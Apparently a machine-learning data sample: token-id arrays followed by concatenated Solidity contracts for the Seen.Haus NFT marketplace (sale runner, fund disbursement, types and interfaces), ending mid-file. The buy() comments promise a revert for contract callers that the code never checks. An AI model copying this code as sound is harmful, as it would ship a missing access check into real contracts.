[ 1, 2919, 4807, 3086, 279, 1147, 471, 4042, 1831, 4232, 39, 3462, 1147, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 445, 21614, 12, 1345, 1147, 16, 467, 654, 39, 3462, 6445, 71, 3462, 1345, 13, 2713, 16618, 1135, 261, 6430, 13, 288, 203, 327, 358, 45, 654, 39, 3462, 12, 2316, 13, 422, 6445, 71, 3462, 1345, 31, 203, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: GPL-3.0-or-later pragma solidity ^0.8.0; import "@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol"; import "../../../interfaces/IEscrowTicketer.sol"; import "../../../interfaces/ISeenHausNFT.sol"; import "../../../interfaces/ISaleRunner.sol"; import "../MarketHandlerBase.sol"; /** * @title SaleRunnerFacet * * @notice Handles the operation of Seen.Haus sales. * * @author Cliff Hall <[email protected]> (https://twitter.com/seaofarrows) */ contract SaleRunnerFacet is ISaleRunner, MarketHandlerBase { // Threshold to auction extension window uint256 constant extensionWindow = 15 minutes; /** * @dev Modifier to protect initializer function from being invoked twice. */ modifier onlyUnInitialized() { MarketHandlerLib.MarketHandlerInitializers storage mhi = MarketHandlerLib.marketHandlerInitializers(); require(!mhi.saleRunnerFacet, "already initialized"); mhi.saleRunnerFacet = true; _; } /** * @notice Facet Initializer * * Register supported interfaces */ function initialize() public onlyUnInitialized { DiamondLib.addSupportedInterface(type(ISaleRunner).interfaceId); } /** * @notice Change the audience for a sale. * * Reverts if: * - Caller does not have ADMIN role * - Auction doesn't exist or has already been settled * * @param _consignmentId - the id of the consignment being sold * @param _audience - the new audience for the sale */ function changeSaleAudience(uint256 _consignmentId, Audience _audience) external override onlyRole(ADMIN) { // Get Market Handler Storage slot MarketHandlerLib.MarketHandlerStorage storage mhs = MarketHandlerLib.marketHandlerStorage(); // Get consignment (reverting if not valid) Consignment memory consignment = getMarketController().getConsignment(_consignmentId); // Make sure the sale exists and hasn't been settled Sale storage sale = mhs.sales[consignment.id]; require((sale.state != State.Ended) && (sale.start != 0), "already settled or non-existent"); // Set the new audience for the consignment setAudience(_consignmentId, _audience); } /** * @notice Buy some amount of the remaining supply of the lot for sale. * * Ownership of the purchased inventory is transferred to the buyer. * The buyer's payment will be held for disbursement when sale is settled. * * Reverts if: * - Caller is not in audience * - Sale doesn't exist or hasn't started * - Caller is a contract * - The per-transaction buy limit is exceeded * - Payment doesn't cover the order price * * Emits a Purchase event. * May emit a SaleStarted event, on the first purchase. * * @param _consignmentId - id of the consignment being sold * @param _amount - the amount of the remaining supply to buy */ function buy(uint256 _consignmentId, uint256 _amount) external override payable onlyAudienceMember(_consignmentId) { // Get Market Handler Storage slot MarketHandlerLib.MarketHandlerStorage storage mhs = MarketHandlerLib.marketHandlerStorage(); // Get the consignment Consignment memory consignment = getMarketController().getConsignment(_consignmentId); // Make sure we can accept the buy order & that the sale exists Sale storage sale = mhs.sales[_consignmentId]; require((block.timestamp >= sale.start) && (sale.start != 0), "Sale hasn't started or non-existent"); require(_amount <= sale.perTxCap, "Per tx limit exceeded"); require(msg.value == sale.price * _amount, "Value doesn't cover price"); // If this was the first successful purchase... if (sale.state == State.Pending) { // First buy updates sale state to Running sale.state = State.Running; // Notify listeners of state change emit SaleStarted(_consignmentId); } uint256 pendingPayoutValue = consignment.pendingPayout + msg.value; getMarketController().setConsignmentPendingPayout(consignment.id, pendingPayoutValue); // Determine if consignment is physical address nft = getMarketController().getNft(); if (nft == consignment.tokenAddress && ISeenHausNFT(nft).isPhysical(consignment.tokenId)) { // Issue an escrow ticket to the buyer address escrowTicketer = getMarketController().getEscrowTicketer(_consignmentId); IEscrowTicketer(escrowTicketer).issueTicket(_consignmentId, _amount, payable(msg.sender)); } else { // Release the purchased amount of the consigned token supply to buyer getMarketController().releaseConsignment(_consignmentId, _amount, msg.sender); } // Announce the purchase emit Purchase(consignment.id, msg.sender, _amount, msg.value); // Track the sale info against the token itself emit TokenHistoryTracker(consignment.tokenAddress, consignment.tokenId, msg.sender, msg.value, _amount, consignment.id); } /** * @notice Claim a pending payout on an ongoing sale without closing/cancelling * * Funds are disbursed as normal. See: {MarketHandlerBase.disburseFunds} * * Reverts if: * - Sale doesn't exist or hasn't started * - There is no pending payout * - Called by any address other than seller * - The sale is sold out (in which case closeSale should be called) * * Does not emit its own event, but disburseFunds emits an event * * @param _consignmentId - id of the consignment being sold */ function claimPendingPayout(uint256 _consignmentId) external override { // Get Market Handler Storage slot MarketHandlerLib.MarketHandlerStorage storage mhs = MarketHandlerLib.marketHandlerStorage(); // Get consignment Consignment memory consignment = getMarketController().getConsignment(_consignmentId); // Ensure that there is a pending payout & that caller is the seller require((consignment.pendingPayout > 0) && (consignment.seller == msg.sender)); // Ensure that the sale has not yet sold out require((consignment.supply - consignment.releasedSupply) > 0, "sold out - use closeSale"); // Make sure the sale exists and is running Sale storage sale = mhs.sales[_consignmentId]; require((sale.state == State.Running) && (sale.start != 0), "Sale hasn't started or non-existent"); // Distribute the funds (handles royalties, staking, multisig, and seller) getMarketController().setConsignmentPendingPayout(consignment.id, 0); disburseFunds(_consignmentId, consignment.pendingPayout); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity ^0.8.0; import "../domain/SeenTypes.sol"; /** * @title IEscrowTicketer * * @notice Manages the issue and claim of escrow tickets. * * The ERC-165 identifier for this interface is: 0x73811679 * * @author Cliff Hall <[email protected]> (https://twitter.com/seaofarrows) */ interface IEscrowTicketer { event TicketIssued(uint256 ticketId, uint256 indexed consignmentId, address indexed buyer, uint256 amount); event TicketClaimed(uint256 ticketId, address indexed claimant, uint256 amount); /** * @notice The nextTicket getter */ function getNextTicket() external view returns (uint256); /** * @notice Get info about the ticket */ function getTicket(uint256 _ticketId) external view returns (SeenTypes.EscrowTicket memory); /** * @notice Get how many claims can be made using tickets (does not change after ticket burns) */ function getTicketClaimableCount(uint256 _consignmentId) external view returns (uint256); /** * @notice Gets the URI for the ticket metadata * * This method normalizes how you get the URI, * since ERC721 and ERC1155 differ in approach * * @param _ticketId - the token id of the ticket */ function getTicketURI(uint256 _ticketId) external view returns (string memory); /** * Issue an escrow ticket to the buyer * * For physical consignments, Seen.Haus must hold the items in escrow * until the buyer(s) claim them. * * When a buyer wins an auction or makes a purchase in a sale, the market * handler contract they interacted with will call this method to issue an * escrow ticket, which is an NFT that can be sold, transferred, or claimed. * * @param _consignmentId - the id of the consignment being sold * @param _amount - the amount of the given token to escrow * @param _buyer - the buyer of the escrowed item(s) to whom the ticket is issued */ function issueTicket(uint256 _consignmentId, uint256 _amount, address payable _buyer) external; /** * Claim the holder's escrowed items associated with the ticket. * * @param _ticketId - the ticket representing the escrowed items */ function claim(uint256 _ticketId) external; } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity ^0.8.0; import "@openzeppelin/contracts-upgradeable/token/ERC1155/IERC1155Upgradeable.sol"; import "../domain/SeenTypes.sol"; import "./IERC2981.sol"; /** * @title ISeenHausNFT * * @notice This is the interface for the Seen.Haus ERC-1155 NFT contract. * * The ERC-165 identifier for this interface is: 0x34d6028b * * @author Cliff Hall <[email protected]> (https://twitter.com/seaofarrows) */ interface ISeenHausNFT is IERC2981, IERC1155Upgradeable { /** * @notice The nextToken getter * @dev does not increment counter */ function getNextToken() external view returns (uint256 nextToken); /** * @notice Get the info about a given token. * * @param _tokenId - the id of the token to check * @return tokenInfo - the info about the token. See: {SeenTypes.Token} */ function getTokenInfo(uint256 _tokenId) external view returns (SeenTypes.Token memory tokenInfo); /** * @notice Check if a given token id corresponds to a physical lot. * * @param _tokenId - the id of the token to check * @return physical - true if the item corresponds to a physical lot */ function isPhysical(uint256 _tokenId) external returns (bool); /** * @notice Mint a given supply of a token, marking it as physical. * * Entire supply must be minted at once. * More cannot be minted later for the same token id. * Can only be called by an address with the ESCROW_AGENT role. * Token supply is sent to the caller. * * @param _supply - the supply of the token * @param _creator - the creator of the NFT (where the royalties will go) * @param _tokenURI - the URI of the token metadata * * @return consignment - the registered primary market consignment of the newly minted token */ function mintPhysical( uint256 _supply, address payable _creator, string memory _tokenURI, uint16 _royaltyPercentage ) external returns(SeenTypes.Consignment memory consignment); /** * @notice Mint a given supply of a token. * * Entire supply must be minted at once. * More cannot be minted later for the same token id. * Can only be called by an address with the MINTER role. * Token supply is sent to the caller's address. * * @param _supply - the supply of the token * @param _creator - the creator of the NFT (where the royalties will go) * @param _tokenURI - the URI of the token metadata * * @return consignment - the registered primary market consignment of the newly minted token */ function mintDigital( uint256 _supply, address payable _creator, string memory _tokenURI, uint16 _royaltyPercentage ) external returns(SeenTypes.Consignment memory consignment); /** * @dev Returns the address of the current owner. */ function owner() external view returns (address); /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() external; /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) external; } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity ^0.8.0; import "../domain/SeenTypes.sol"; import "./IMarketHandler.sol"; /** * @title ISaleRunner * * @notice Handles the operation of Seen.Haus sales. * * The ERC-165 identifier for this interface is: 0xe1bf15c5 * * @author Cliff Hall <[email protected]> (https://twitter.com/seaofarrows) */ interface ISaleRunner is IMarketHandler { // Events event SaleStarted(uint256 indexed consignmentId); event Purchase(uint256 indexed consignmentId, address indexed buyer, uint256 amount, uint256 value); event TokenHistoryTracker(address indexed tokenAddress, uint256 indexed tokenId, address indexed buyer, uint256 value, uint256 amount, uint256 consignmentId); /** * @notice Change the audience for a sale. * * Reverts if: * - Caller does not have ADMIN role * - Auction doesn't exist or has already been settled * * @param _consignmentId - the id of the consignment being sold * @param _audience - the new audience for the sale */ function changeSaleAudience(uint256 _consignmentId, SeenTypes.Audience _audience) external; /** * @notice Buy some amount of the remaining supply of the lot for sale. * * Ownership of the purchased inventory is transferred to the buyer. * The buyer's payment will be held for disbursement when sale is settled. * * Reverts if: * - Caller is not in audience * - Sale doesn't exist or hasn't started * - Caller is a contract * - The per-transaction buy limit is exceeded * - Payment doesn't cover the order price * * Emits a Purchase event. * May emit a SaleStarted event, on the first purchase. * * @param _consignmentId - id of the consignment being sold * @param _amount - the amount of the remaining supply to buy */ function buy(uint256 _consignmentId, uint256 _amount) external payable; /** * @notice Claim a pending payout on an ongoing sale without closing/cancelling * * Funds are disbursed as normal. See: {MarketHandlerBase.disburseFunds} * * Reverts if: * - Sale doesn't exist or hasn't started * - There is no pending payout * - Called by any address other than seller * - The sale is sold out (in which case closeSale should be called) * * Does not emit its own event, but disburseFunds emits an event * * @param _consignmentId - id of the consignment being sold */ function claimPendingPayout(uint256 _consignmentId) external; } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity ^0.8.0; import "@openzeppelin/contracts-upgradeable/utils/introspection/IERC165Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; import "../../interfaces/IMarketController.sol"; import "../../interfaces/IMarketHandler.sol"; import "../../interfaces/ISeenHausNFT.sol"; import "../../domain/SeenConstants.sol"; import "../../interfaces/IERC2981.sol"; import "../../domain/SeenTypes.sol"; import "./MarketHandlerLib.sol"; /** * @title MarketHandlerBase * * @notice Provides base functionality for common actions taken by market handlers. * * @author Cliff Hall <[email protected]> (https://twitter.com/seaofarrows) */ abstract contract MarketHandlerBase is IMarketHandler, SeenTypes, SeenConstants { /** * @dev Modifier that checks that the caller has a specific role. * * Reverts if caller doesn't have role. * * See: {AccessController.hasRole} */ modifier onlyRole(bytes32 _role) { DiamondLib.DiamondStorage storage ds = DiamondLib.diamondStorage(); require(ds.accessController.hasRole(_role, msg.sender), "Caller doesn't have role"); _; } /** * @dev Modifier that checks that the caller has a specific role or is a consignor. * * Reverts if caller doesn't have role or is not consignor. * * See: {AccessController.hasRole} */ modifier onlyRoleOrConsignor(bytes32 _role, uint256 _consignmentId) { DiamondLib.DiamondStorage storage ds = DiamondLib.diamondStorage(); require(ds.accessController.hasRole(_role, msg.sender) || getMarketController().getConsignor(_consignmentId) == msg.sender, "Caller doesn't have role or is not consignor"); _; } /** * @dev Function that checks that the caller has a specific role. * * Reverts if caller doesn't have role. * * See: {AccessController.hasRole} */ function checkHasRole(address _address, bytes32 _role) internal view returns (bool) { DiamondLib.DiamondStorage storage ds = DiamondLib.diamondStorage(); return ds.accessController.hasRole(_role, _address); } /** * @notice Gets the address of the Seen.Haus MarketController contract. * * @return marketController - the address of the MarketController contract */ function getMarketController() internal view returns(IMarketController marketController) { return IMarketController(address(this)); } /** * @notice Sets the audience for a consignment at sale or auction. * * Emits an AudienceChanged event. * * @param _consignmentId - the id of the consignment * @param _audience - the new audience for the consignment */ function setAudience(uint256 _consignmentId, Audience _audience) internal { MarketHandlerLib.MarketHandlerStorage storage mhs = MarketHandlerLib.marketHandlerStorage(); // Set the new audience mhs.audiences[_consignmentId] = _audience; // Notify listeners of state change emit AudienceChanged(_consignmentId, _audience); } /** * @notice Check if the caller is a Staker. * * @return status - true if caller's xSEEN ERC-20 balance is non-zero. */ function isStaker() internal view returns (bool status) { IMarketController marketController = getMarketController(); status = IERC20Upgradeable(marketController.getStaking()).balanceOf(msg.sender) > 0; } /** * @notice Check if the caller is a VIP Staker. * * See {MarketController:vipStakerAmount} * * @return status - true if caller's xSEEN ERC-20 balance is at least equal to the VIP Staker Amount. */ function isVipStaker() internal view returns (bool status) { IMarketController marketController = getMarketController(); status = IERC20Upgradeable(marketController.getStaking()).balanceOf(msg.sender) >= marketController.getVipStakerAmount(); } /** * @notice Modifier that checks that caller is in consignment's audience * * Reverts if user is not in consignment's audience */ modifier onlyAudienceMember(uint256 _consignmentId) { MarketHandlerLib.MarketHandlerStorage storage mhs = MarketHandlerLib.marketHandlerStorage(); Audience audience = mhs.audiences[_consignmentId]; if (audience != Audience.Open) { if (audience == Audience.Staker) { require(isStaker()); } else if (audience == Audience.VipStaker) { require(isVipStaker()); } } _; } /** * @dev Modifier that checks that the caller is the consignor * * Reverts if caller isn't the consignor * * See: {MarketController.getConsignor} */ modifier onlyConsignor(uint256 _consignmentId) { // Make sure the caller is the consignor require(getMarketController().getConsignor(_consignmentId) == msg.sender, "Caller is not consignor"); _; } /** * @notice Get a percentage of a given amount. * * N.B. Represent ercentage values are stored * as unsigned integers, the result of multiplying the given percentage by 100: * e.g, 1.75% = 175, 100% = 10000 * * @param _amount - the amount to return a percentage of * @param _percentage - the percentage value represented as above */ function getPercentageOf(uint256 _amount, uint16 _percentage) internal pure returns (uint256 share) { share = _amount * _percentage / 10000; } /** * @notice Deduct and pay royalties on sold secondary market consignments. * * Does nothing is this is a primary market sale. * * If the consigned item's contract supports NFT Royalty Standard EIP-2981, * it is queried for the expected royalty amount and recipient. * * Deducts royalty and pays to recipient: * - entire expected amount, if below or equal to the marketplace's maximum royalty percentage * - the marketplace's maximum royalty percentage See: {MarketController.maxRoyaltyPercentage} * * Emits a RoyaltyDisbursed event with the amount actually paid. * * @param _consignment - the consigned item * @param _grossSale - the gross sale amount * * @return net - the net amount of the sale after the royalty has been paid */ function deductRoyalties(Consignment memory _consignment, uint256 _grossSale) internal returns (uint256 net) { // Only pay royalties on secondary market sales uint256 royaltyAmount = 0; if (_consignment.market == Market.Secondary) { // Determine if NFT contract supports NFT Royalty Standard EIP-2981 try IERC165Upgradeable(_consignment.tokenAddress).supportsInterface(type(IERC2981).interfaceId) returns (bool supported) { // If so, find out the who to pay and how much if (supported) { // Get the MarketController IMarketController marketController = getMarketController(); // Get the royalty recipient and expected payment (address recipient, uint256 expected) = IERC2981(_consignment.tokenAddress).royaltyInfo(_consignment.tokenId, _grossSale); // Determine the max royalty we will pay uint256 maxRoyalty = getPercentageOf(_grossSale, marketController.getMaxRoyaltyPercentage()); // If a royalty is expected... if (expected > 0) { // Lets pay, but only up to our platform policy maximum royaltyAmount = (expected <= maxRoyalty) ? expected : maxRoyalty; sendValueOrCreditAccount(payable(recipient), royaltyAmount); // Notify listeners of payment emit RoyaltyDisbursed(_consignment.id, recipient, royaltyAmount); } } // Any case where the check for interface support fails can be ignored } catch Error(string memory) { } catch (bytes memory) { } } // Return the net amount after royalty deduction net = _grossSale - royaltyAmount; } /** * @notice Deduct and pay escrow agent fees on sold physical secondary market consignments. * * Does nothing if this is a primary market sale. * * Deducts escrow agent fee and pays to consignor * - entire expected amount * * Emits a EscrowAgentFeeDisbursed event with the amount actually paid. * * @param _consignment - the consigned item * @param _grossSale - the gross sale amount * @param _netAfterRoyalties - the funds left to be distributed * * @return net - the net amount of the sale after the royalty has been paid */ function deductEscrowAgentFee(Consignment memory _consignment, uint256 _grossSale, uint256 _netAfterRoyalties) internal returns (uint256 net) { // Only pay royalties on secondary market sales uint256 escrowAgentFeeAmount = 0; if (_consignment.market == Market.Secondary) { // Get the MarketController IMarketController marketController = getMarketController(); address consignor = marketController.getConsignor(_consignment.id); if(consignor != _consignment.seller) { uint16 escrowAgentBasisPoints = marketController.getEscrowAgentFeeBasisPoints(consignor); if(escrowAgentBasisPoints > 0) { // Determine if consignment is physical address nft = marketController.getNft(); if (nft == _consignment.tokenAddress && ISeenHausNFT(nft).isPhysical(_consignment.tokenId)) { // Consignor is not seller, consigner has a positive escrowAgentBasisPoints value, consignment is of a physical item // Therefore, pay consignor the escrow agent fees escrowAgentFeeAmount = getPercentageOf(_grossSale, escrowAgentBasisPoints); // If escrow agent fee is expected... if (escrowAgentFeeAmount > 0) { require(escrowAgentFeeAmount <= _netAfterRoyalties, "escrowAgentFeeAmount exceeds remaining funds"); sendValueOrCreditAccount(payable(consignor), escrowAgentFeeAmount); // Notify listeners of payment emit EscrowAgentFeeDisbursed(_consignment.id, consignor, escrowAgentFeeAmount); } } } } } // Return the net amount after royalty deduction net = _netAfterRoyalties - escrowAgentFeeAmount; } /** * @notice Deduct and pay fee on a sold consignment. * * Deducts marketplace fee and pays: * - Half to the staking contract * - Half to the multisig contract * * Emits a FeeDisbursed event for staking payment. * Emits a FeeDisbursed event for multisig payment. * * @param _consignment - the consigned item * @param _grossSale - the gross sale amount * @param _netAmount - the net amount after royalties (total remaining to be distributed as part of payout process) * * @return payout - the payout amount for the seller */ function deductFee(Consignment memory _consignment, uint256 _grossSale, uint256 _netAmount) internal returns (uint256 payout) { // Get the MarketController IMarketController marketController = getMarketController(); // With the net after royalties, calculate and split // the auction fee between SEEN staking and multisig, uint256 feeAmount; if(_consignment.customFeePercentageBasisPoints > 0) { feeAmount = getPercentageOf(_grossSale, _consignment.customFeePercentageBasisPoints); } else { feeAmount = getPercentageOf(_grossSale, marketController.getFeePercentage(_consignment.market)); } require(feeAmount <= _netAmount, "feeAmount exceeds remaining funds"); uint256 splitStaking = feeAmount / 2; uint256 splitMultisig = feeAmount - splitStaking; address payable staking = marketController.getStaking(); address payable multisig = marketController.getMultisig(); sendValueOrCreditAccount(staking, splitStaking); sendValueOrCreditAccount(multisig, splitMultisig); // Return the seller payout amount after fee deduction payout = _netAmount - feeAmount; // Notify listeners of payment emit FeeDisbursed(_consignment.id, staking, splitStaking); emit FeeDisbursed(_consignment.id, multisig, splitMultisig); } /** * @notice Disburse funds for a sale or auction, primary or secondary. * * Disburses funds in this order * - Pays any necessary royalties first. See {deductRoyalties} * - Deducts and distributes marketplace fee. See {deductFee} * - Pays the remaining amount to the seller. * * Emits a PayoutDisbursed event on success. * * @param _consignmentId - the id of the consignment being sold * @param _saleAmount - the gross sale amount */ function disburseFunds(uint256 _consignmentId, uint256 _saleAmount) internal { // Get the MarketController IMarketController marketController = getMarketController(); // Get consignment SeenTypes.Consignment memory consignment = marketController.getConsignment(_consignmentId); // Pay royalties if needed uint256 netAfterRoyalties = deductRoyalties(consignment, _saleAmount); // Pay escrow agent fees if needed uint256 netAfterEscrowAgentFees = deductEscrowAgentFee(consignment, _saleAmount, netAfterRoyalties); // Pay marketplace fee uint256 payout = deductFee(consignment, _saleAmount, netAfterEscrowAgentFees); // Pay seller sendValueOrCreditAccount(consignment.seller, payout); // Notify listeners of payment emit PayoutDisbursed(_consignmentId, consignment.seller, payout); } /** * @notice Attempts an ETH transfer, else adds a pull-able credit * * In cases where ETH is unable to be transferred to a particular address * either due to malicious agents or bugs in receiver addresses * the payout process should not fail for all parties involved * (or funds can become stuck for benevolent parties) * * @param _recipient - the recipient of the transfer * @param _value - the transfer value */ function sendValueOrCreditAccount(address payable _recipient, uint256 _value) internal { // Attempt to send funds to recipient require(address(this).balance >= _value); (bool success, ) = _recipient.call{value: _value}(""); if(!success) { // Credit the account MarketHandlerLib.MarketHandlerStorage storage mhs = MarketHandlerLib.marketHandlerStorage(); mhs.addressToEthCredit[_recipient] += _value; emit EthCredited(_recipient, _value); } } } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity ^0.8.0; /** * @title SeenTypes * * @notice Enums and structs used by the Seen.Haus contract ecosystem. * * @author Cliff Hall <[email protected]> (https://twitter.com/seaofarrows) */ contract SeenTypes { enum Market { Primary, Secondary } enum MarketHandler { Unhandled, Auction, Sale } enum Clock { Live, Trigger } enum Audience { Open, Staker, VipStaker } enum Outcome { Pending, Closed, Canceled } enum State { Pending, Running, Ended } enum Ticketer { Default, Lots, Items } struct Token { address payable creator; uint16 royaltyPercentage; bool isPhysical; uint256 id; uint256 supply; string uri; } struct Consignment { Market market; MarketHandler marketHandler; address payable seller; address tokenAddress; uint256 tokenId; uint256 supply; uint256 id; bool multiToken; bool released; uint256 releasedSupply; uint16 customFeePercentageBasisPoints; uint256 pendingPayout; } struct Auction { address payable buyer; uint256 consignmentId; uint256 start; uint256 duration; uint256 reserve; uint256 bid; Clock clock; State state; Outcome outcome; } struct Sale { uint256 consignmentId; uint256 start; uint256 price; uint256 perTxCap; State state; Outcome outcome; } struct EscrowTicket { uint256 amount; uint256 consignmentId; uint256 id; string itemURI; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165Upgradeable.sol"; /** * @dev Required interface of an ERC1155 compliant contract, as defined in the * https://eips.ethereum.org/EIPS/eip-1155[EIP]. * * _Available since v3.1._ */ interface IERC1155Upgradeable is IERC165Upgradeable { /** * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`. */ event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); /** * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all * transfers. */ event TransferBatch( address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values ); /** * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to * `approved`. */ event 